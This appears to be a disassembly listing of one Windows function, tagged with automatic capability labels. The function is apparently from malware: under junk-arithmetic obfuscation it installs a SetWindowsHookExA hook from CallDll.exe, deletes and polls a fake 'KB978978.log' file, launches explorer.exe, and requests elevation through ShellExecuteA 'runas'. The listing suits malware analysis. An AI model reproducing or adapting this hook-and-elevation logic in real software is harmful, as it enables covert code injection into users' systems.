Function at 0x404610
Capabilities:
Check if file exists
Create process on windows
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x106c
call fcn.00424280
mov eax, dword [0x45193c]
mov ecx, dword [0x4508e0]
mov dword [esp + 0x1068], eax
push ebx
mov eax, 0xa61fcc17
imul ecx
push esi
mov esi, dword [0x4508d4]
push edi
mov edi, dword [0x4508ec]
mov ebx, edi
imul ebx, ebx, 0x185
add edx, ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4508d0]
sub ebx, eax
mov eax, dword [ebp + 8]
sub ebx, edx
cmp eax, 0x132b600
lea ebx, [ebx + esi + 0xd7]
mov dword [esp + 0x14], 0
mov dword [str._r_____r_____n], ebx
je 0x4046ef
mov eax, 0x197b05f9
imul ecx
sar edx, 6
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x21d814d3
imul esi
sub edx, esi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ecx
sub eax, dword [0x4508e4]
lea ecx, [eax + edi - 0x30e]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [0x4508d4], ecx
mov esi, 0x64
lea esp, [esp]
push 0x3e8
call edi
dec esi
jne 0x4046d0
xor eax, eax
mov ecx, dword [esp + 0x1074]
call fcn.00423a31
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, edx
mov eax, 0xb61d7045
imul ecx, ecx, 0x3a7
imul edx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, dword [section.HookData]
sub edi, ecx
mov ecx, dword [0x4508d8]
imul ecx, ecx, 0x30f
mov edx, esi
imul edx, edx, 0x315
add edi, ecx
add edi, edx
test eax, eax
mov dword [0x4508e0], edi
je 0x40479b
mov ecx, dword [0x4508e8]
mov eax, 0x49e28fbb
imul ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
mov eax, 0x73d0e82d
imul edi
sub edx, edi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4508cc]
sub eax, ecx
mov ecx, dword [0x4508e4]
imul ecx, ecx, 0x315
sub eax, ecx
add eax, ebx
lea eax, [edx + eax - 0x30e]
mov dword [0x4508cc], eax
mov eax, 1
mov ecx, dword [esp + 0x1074]
call fcn.00423a31
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x4508dc]
mov eax, 0x60f25deb
imul ecx, ecx, 0x377
imul edi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4508d0]
imul edx, edx, 0x1a8
sub ecx, eax
add ecx, dword [0x4508e8]
lea eax, [edx + ecx - 0x15c]
mov dword [0x4508d8], eax
jmp 0x4047e0
mov ecx, dword [0x4508dc]
mov eax, 0xde27eb2d
imul ecx, ecx, 0x222
imul dword [0x4508d0]
add edx, dword [0x4508d0]
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ebx
imul edx, edx, 0x24e
sub ecx, eax
mov eax, dword [ebp + 0x10]
test eax, eax
lea ecx, [ecx + edx - 0x30e]
mov dword [0x4508e4], ecx
jg 0x404900
mov eax, dword [ebp + 0x14]
test eax, eax
je 0x404900
lea edx, [eax + 1]
mov dword [esp + 0x10], edx
jmp 0x404840
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x404840
sub eax, dword [esp + 0x10]
mov dword [esp + 0x10], eax
je 0x404900
mov ebx, dword [0x4508d8]
imul ecx, ecx, 0x1a8
mov eax, 0x97012e03
imul esi
mov eax, dword [0x4508ec]
add edx, esi
imul eax, eax, 0x185
sar edx, 8
mov esi, edx
shr esi, 0x1f
add ecx, edx
add esi, ecx
sub esi, eax
mov eax, dword [ebp + 0x14]
sub esi, ebx
push eax
add esi, 0x4f2
push 0
mov dword [0x4508d0], esi
call fcn.00402f80
mov ebx, eax
add esp, 8
test ebx, ebx
jle 0x405030
mov ecx, dword [0x4508e8]
mov esi, dword [0x4508cc]
mov edi, dword [0x4508e0]
imul esi, esi, 0x2a4
mov eax, 0x197b05f9
imul ecx
sar edx, 6
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, edi
imul edx, edx, 0x1b2
sub esi, ecx
mov ecx, dword [0x4508d0]
add esi, edx
sub esi, ecx
mov ecx, dword [0x4508ec]
sub esi, 0x163
mov dword [0x4508e8], esi
mov esi, dword [0x4508d4]
jmp 0x40494c
mov eax, 0x8c2f17d3
imul ecx, ecx, 0x1b2
imul ebx
add edx, ebx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x60f25deb
imul dword [0x4508dc]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ebx
mov ebx, dword [ebp + 0x10]
sub eax, ecx
mov ecx, esi
imul ecx, ecx, 0x1a8
lea ecx, [eax + ecx - 0x30e]
mov dword [0x4508ec], ecx
mov eax, 0xa61fcc17
imul ecx, ecx, 0x185
imul edi
add edx, edi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4508d0]
sub ecx, eax
sub ecx, edx
lea ecx, [ecx + esi + 0xd7]
push str.c:windowsKB978978.log
mov dword [str._r_____r_____n], ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [0x4508e8]
mov eax, 0x49e28fbb
imul ecx
mov ecx, dword [0x4508e0]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x73d0e82d
imul ecx
sub edx, ecx
mov eax, dword [0x4508cc]
sar edx, 9
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x4508e4]
imul edx, edx, 0x315
sub ecx, esi
sub ecx, edx
add ecx, dword [str._r_____r_____n]
mov edx, dword [0x462948]
push ebx
push edx
lea ecx, [eax + ecx - 0x30e]
mov eax, dword [ebp + 0xc]
push sym.CallDll.exe_long_int___stdcall_EngineProc_int__unsigned_int__long_int_
push eax
mov dword [0x4508cc], ecx
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
test eax, eax
mov dword [section.HookData], eax
je 0x405095
mov eax, 0x197b05f9
imul dword [0x4508e0]
sar edx, 6
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov esi, ecx
mov ecx, dword [0x4508d4]
mov eax, 0x21d814d3
imul ecx
sub edx, ecx
mov ecx, dword [0x4508e4]
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, esi
sub eax, ecx
mov ecx, dword [0x4508ec]
lea ecx, [eax + ecx - 0x30e]
mov dword [0x46294c], 1
xor edi, edi
jmp 0x404a60
mov ecx, dword [0x4508d4]
mov eax, 0x197b05f9
imul dword [0x4508e0]
sar edx, 6
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x21d814d3
imul ecx
sub edx, ecx
sar edx, 9
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x4508ec]
sub ecx, esi
sub ecx, dword [0x4508e4]
lea eax, [ecx + edx - 0x30e]
push str.c:windowsKB978978.log
mov dword [0x4508d4], eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
cmp eax, 1
je 0x404ac5
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
inc edi
cmp edi, 0x12c
jl 0x404a5a
mov ecx, dword [0x4508dc]
mov esi, dword [0x4508ec]
mov eax, 0xa8791709
imul ecx
add edx, ecx
sar edx, 8
mov ebx, esi
imul ebx, ebx, 0x30f
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, ecx
mov ecx, dword [0x4508d8]
sub eax, ebx
mov ebx, eax
mov eax, 0x97012e03
imul ecx
add edx, ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
add ebx, 0x456
cmp edi, 0x12c
mov dword [0x4508dc], ebx
jl 0x4050f1
mov eax, dword [esp + 0x14]
test eax, eax
jne 0x4050f1
mov edx, dword [0x4508d0]
imul ecx, ecx, 0x30f
mov esi, edx
mov eax, 0xb61d7045
imul esi, esi, 0x3a7
imul edx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, esi
add eax, ecx
mov ecx, dword [0x4508d4]
imul ecx, ecx, 0x315
push 0x800
lea edx, [esp + 0x74]
add eax, ecx
push edx
mov dword [0x4508e0], eax
mov dword [esp + 0x1c], 1
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov ecx, dword [0x4508d0]
mov esi, dword [0x4508dc]
mov eax, 0xde27eb2d
imul esi, esi, 0x222
imul ecx
add edx, ecx
mov ecx, dword [str._r_____r_____n]
sar edx, 9
imul ecx, ecx, 0x24e
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
lea eax, [esp + 0x70]
push eax
lea edx, [esi + ecx - 0x30e]
lea ecx, [esp + 0x874]
push str._sexplorer.exe
push ecx
mov dword [0x4508e4], edx
call fcn.0042415a
lea edx, [esp + 0x87c]
push 0
push edx
call fcn.00424114
add esp, 0x14
cmp eax, 0xffffffff
je 0x404fcd
mov ecx, dword [0x4508e8]
mov esi, dword [0x4508cc]
mov edi, dword [0x4508d0]
imul esi, esi, 0x2a4
mov eax, 0x197b05f9
imul ecx
mov ecx, dword [0x4508e0]
sar edx, 6
imul ecx, ecx, 0x1b2
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, ecx
sub esi, edi
sub esi, 0x163
push str.explorer.exe
mov dword [0x4508e8], esi
call fcn.00415230
mov ecx, dword [str._r_____r_____n]
mov eax, 0x8c2f17d3
imul ecx
add edx, ecx
mov ecx, dword [0x4508dc]
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x60f25deb
imul ecx
mov eax, dword [0x4508d4]
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x4508e4]
imul edx, edx, 0x1b2
sub ecx, esi
sub ecx, edx
add esp, 4
imul eax, eax, 0x1a8
lea ecx, [ecx + eax - 0x30e]
mov dword [0x4508ec], ecx
mov dword [esp + 0x10], 5
jmp 0x404cc0
mov ecx, dword [0x4508ec]
jmp 0x404cc0
mov esi, dword [0x4508e0]
imul ecx, ecx, 0x185
mov edi, dword [0x4508d0]
mov eax, 0xa61fcc17
imul esi
add edx, esi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4508d4]
sub ecx, eax
sub ecx, edi
lea eax, [ecx + edx + 0xd7]
push str.explorer.exe
mov dword [str._r_____r_____n], eax
call fcn.00414e00
add esp, 4
test eax, eax
jg 0x404f73
mov ecx, dword [0x4508e8]
mov esi, dword [0x4508e0]
mov eax, 0x49e28fbb
imul ecx
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov ebx, dword [0x4508e4]
mov eax, 0x73d0e82d
imul esi
sub edx, esi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ecx
mov edx, dword [0x4508cc]
mov ecx, ebx
imul ecx, ecx, 0x315
sub eax, ecx
add eax, dword [str._r_____r_____n]
lea eax, [edx + eax - 0x30e]
mov dword [0x4508cc], eax
xor eax, eax
mov ecx, 0x11
lea edi, [esp + 0x18]
rep stosd dword es:[edi], eax
mov ecx, dword [0x4508d4]
mov eax, 0x97012e03
imul ecx
add edx, ecx
sar edx, 8
mov edi, ebx
imul edi, edi, 0x1a8
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
mov edi, dword [0x4508ec]
mov edx, edi
imul edx, edx, 0x185
sub eax, edx
sub eax, dword [0x4508d8]
add eax, 0x4f2
mov dword [0x4508d0], eax
mov eax, 0x197b05f9
imul esi
sar edx, 6
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x21d814d3
imul ecx
sub edx, ecx
sar edx, 9
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub ecx, esi
sub ecx, ebx
lea edx, [ecx + edi - 0x30e]
lea eax, [esp + 0x60]
push eax
lea ecx, [esp + 0x1c]
push ecx
mov dword [0x4508d4], edx
lea edx, [esp + 0x78]
push edx
push 0
push 0x20
push 0
push 0
mov dword [esp + 0x34], 0x44
mov dword [esp + 0x60], 1
mov word [esp + 0x64], 5
push 0
lea eax, [esp + 0x890]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x404e7f
mov ecx, dword [0x4508e0]
mov edi, dword [0x4508dc]
mov esi, dword [0x4508d0]
imul edi, edi, 0x377
mov eax, 0x60f25deb
imul ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, esi
imul edx, edx, 0x1a8
sub edi, eax
add edi, dword [0x4508e8]
lea eax, [edx + edi - 0x15c]
mov dword [0x4508d8], eax
jmp 0x404f7f
mov ecx, dword [0x4508dc]
mov eax, 0xa8791709
imul ecx
mov esi, dword [0x4508ec]
add edx, ecx
imul esi, esi, 0x30f
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edi, ecx
mov ecx, dword [0x4508d8]
mov eax, 0x97012e03
imul ecx
add edx, ecx
sar edx, 8
push 1
mov eax, edx
lea ecx, [esp + 0x74]
push ecx
shr eax, 0x1f
add eax, edx
push 0
lea edx, [esp + 0x87c]
sub edi, esi
push edx
sub edi, eax
push str.runas
add edi, 0x456
push 0
mov dword [0x4508dc], edi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
mov esi, dword [0x4508d0]
jg 0x404f38
mov eax, 0xb61d7045
imul esi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4508d8]
mov edi, esi
imul edx, edx, 0x30f
imul edi, edi, 0x3a7
mov ecx, eax
mov eax, dword [0x4508d4]
imul eax, eax, 0x315
sub ecx, edi
add ecx, edx
add ecx, eax
mov dword [0x4508e0], ecx
jmp 0x404f7f
mov ecx, dword [0x4508dc]
mov eax, 0xde27eb2d
imul ecx, ecx, 0x222
imul esi
add edx, esi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r_____n]
sub ecx, eax
imul edx, edx, 0x24e
lea eax, [ecx + edx - 0x30e]
mov dword [0x4508e4], eax
jmp 0x404f79
mov esi, dword [0x4508d0]
mov ecx, dword [0x4508e0]
mov edi, dword [0x4508cc]
imul ecx, ecx, 0x1b2
mov eax, 0x197b05f9
imul edi, edi, 0x2a4
imul dword [0x4508e8]
sar edx, 6
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
add edi, ecx
sub edi, esi
sub edi, 0x163
push 0x3e8
mov dword [0x4508e8], edi
call dword [sym.imp.KERNEL32.dll_Sleep]
dec dword [esp + 0x10]
jne 0x404caf
mov ebx, dword [str._r_____r_____n]
mov eax, 0x8c2f17d3
imul ebx
add edx, ebx
sar edx, 9
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x60f25deb
imul dword [0x4508dc]
mov esi, dword [0x4508d4]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ecx
mov ecx, dword [0x4508e4]
mov edi, dword [0x4508e0]
imul ecx, ecx, 0x1b2
sub eax, ecx
mov edx, esi
imul edx, edx, 0x1a8
lea eax, [eax + edx - 0x30e]
mov dword [0x4508ec], eax
jmp 0x4047e0
mov ecx, dword [0x4508dc]
mov esi, dword [0x4508ec]
mov eax, 0xa8791709
imul esi, esi, 0x30f
imul ecx
add edx, ecx
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edi, ecx
mov ecx, dword [0x4508d8]
mov eax, 0x97012e03
imul ecx
add edx, ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
sub edi, esi
add eax, edx
sub edi, eax
add edi, 0x456
mov dword [0x4508dc], edi
xor eax, eax
mov ecx, dword [esp + 0x1074]
call fcn.00423a31
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x4508d4]
mov esi, dword [0x4508e4]
mov eax, 0x97012e03
imul esi, esi, 0x1a8
imul ecx
add edx, ecx
sar edx, 8
add esi, edx
mov ecx, edx
mov edx, dword [0x4508ec]
imul edx, edx, 0x185
shr ecx, 0x1f
add ecx, esi
sub ecx, edx
sub ecx, dword [0x4508d8]
add ecx, 0x4f2
mov dword [0x4508d0], ecx
xor eax, eax
mov ecx, dword [esp + 0x1074]
call fcn.00423a31
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x4508e0]
imul esi, esi, 0x185
mov eax, 0xa61fcc17
imul ecx
add edx, ecx
mov ecx, dword [0x4508d4]
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
sub esi, dword [0x4508d0]
lea edx, [esi + ecx + 0xd7]
mov ecx, dword [esp + 0x1074]
mov dword [str._r_____r_____n], edx
mov eax, 1
call fcn.00423a31
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret